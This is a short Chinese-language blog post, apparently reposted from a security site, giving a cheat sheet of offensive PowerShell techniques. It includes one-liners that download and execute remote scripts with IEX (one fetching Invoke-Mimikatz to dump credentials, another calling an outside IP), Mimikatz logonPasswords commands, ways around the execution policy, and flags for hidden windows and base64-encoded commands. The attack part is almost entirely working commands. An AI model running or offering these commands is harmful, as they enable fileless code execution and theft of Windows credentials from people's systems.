powershell的几个基础知识

https://www.freebuf.com/articles/system/227467.html

2.1 powershell版本问题

powershell只能针对win7之后的系统,之前的win操作系统默认没有安装powershell。不同架构的payload(x86或x64)需要不同版本的powershell来加载,否则会出错。

64位所在目录:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

32位所在目录:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

2.2 常见执行方式

先介绍一下powershell的两种常见执行方式:

1、网络环境直接执行代码

无文件写入,相对较为隐蔽。下面代码为加载远程脚本Invoke-Mimikatz.ps1,执行Mimikatz的DumpCreds功能。

powershell "IEX (New-Object Net.WebClient).DownloadString('http://10.211.55.2/Invoke-Mimikatz.ps1');Invoke-Mimikatz -DumpCreds"

2、 本地执行

先把http://10.211.55.2/Invoke-Mimikatz.ps1下载到本地

然后导入powershell Import-Module .\Invoke-Mimikatz.ps1

使用命令Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::logonPasswords full"'

或者Invoke-Mimikatz -DumpCreds

2.3 执行策略

查看执行策略powershell Get-ExecutionPolicy

image(1).png

powershell有六种执行策略:

Unrestricted 权限最高,可以不受限制执行任意脚本

Restricted 默认策略,不允许任意脚本的执行

AllSigned 所有脚本必须经过签名运行

RemoteSigned 本地脚本无限制,但是对来自网络的脚本必须经过签名

Bypass 没有任何限制和提示

Undefined 没有设置脚本的策略

默认情况下,禁止脚本执行。除非管理员更改执行策略。

powershell Set-ExecutionPolicy Unrestricted设置执行策略(需要管理员权限)

image(2).png

绕过执行策略执行大概有以下几种:

1.本地读取然后通过管道符运行

powershell Get-Content 1.ps1 | powershell -NoProfile -

2.远程下载并通过IEX运行脚本

powershell -c "IEX(New-Object Net.WebClient).DownloadString('http://47.94.80.129/ps/a.ps1')"

3.Bypass执行策略绕过

powershell -ExecutionPolicy bypass -File ./a.ps1

不会显示警告和提示

4.Unrestricted执行策略标志

powershell -ExecutionPolicy unrestricted -File ./a.ps1

当运行一个从网上下载的未签名的脚本时,会给出权限提示

需要解释的是:

Invoke-Expression(IEX的别名):用来把字符串当作命令执行。
WindowStyle Hidden(-w Hidden):隐藏窗口
Nonlnteractive(-NonI):非交互模式,PowerShell不为用户提供交互的提示。
NoProfile(-NoP):PowerShell控制台不加载当前用户的配置文件。
Noexit(-Noe):执行后不退出Shell。
EncodedCommand(-enc): 接受base64 encode的字符串编码,避免一些解析问题
posted @ 2022-02-18 14:24  mrhonest  阅读(238)  评论(0)    收藏  举报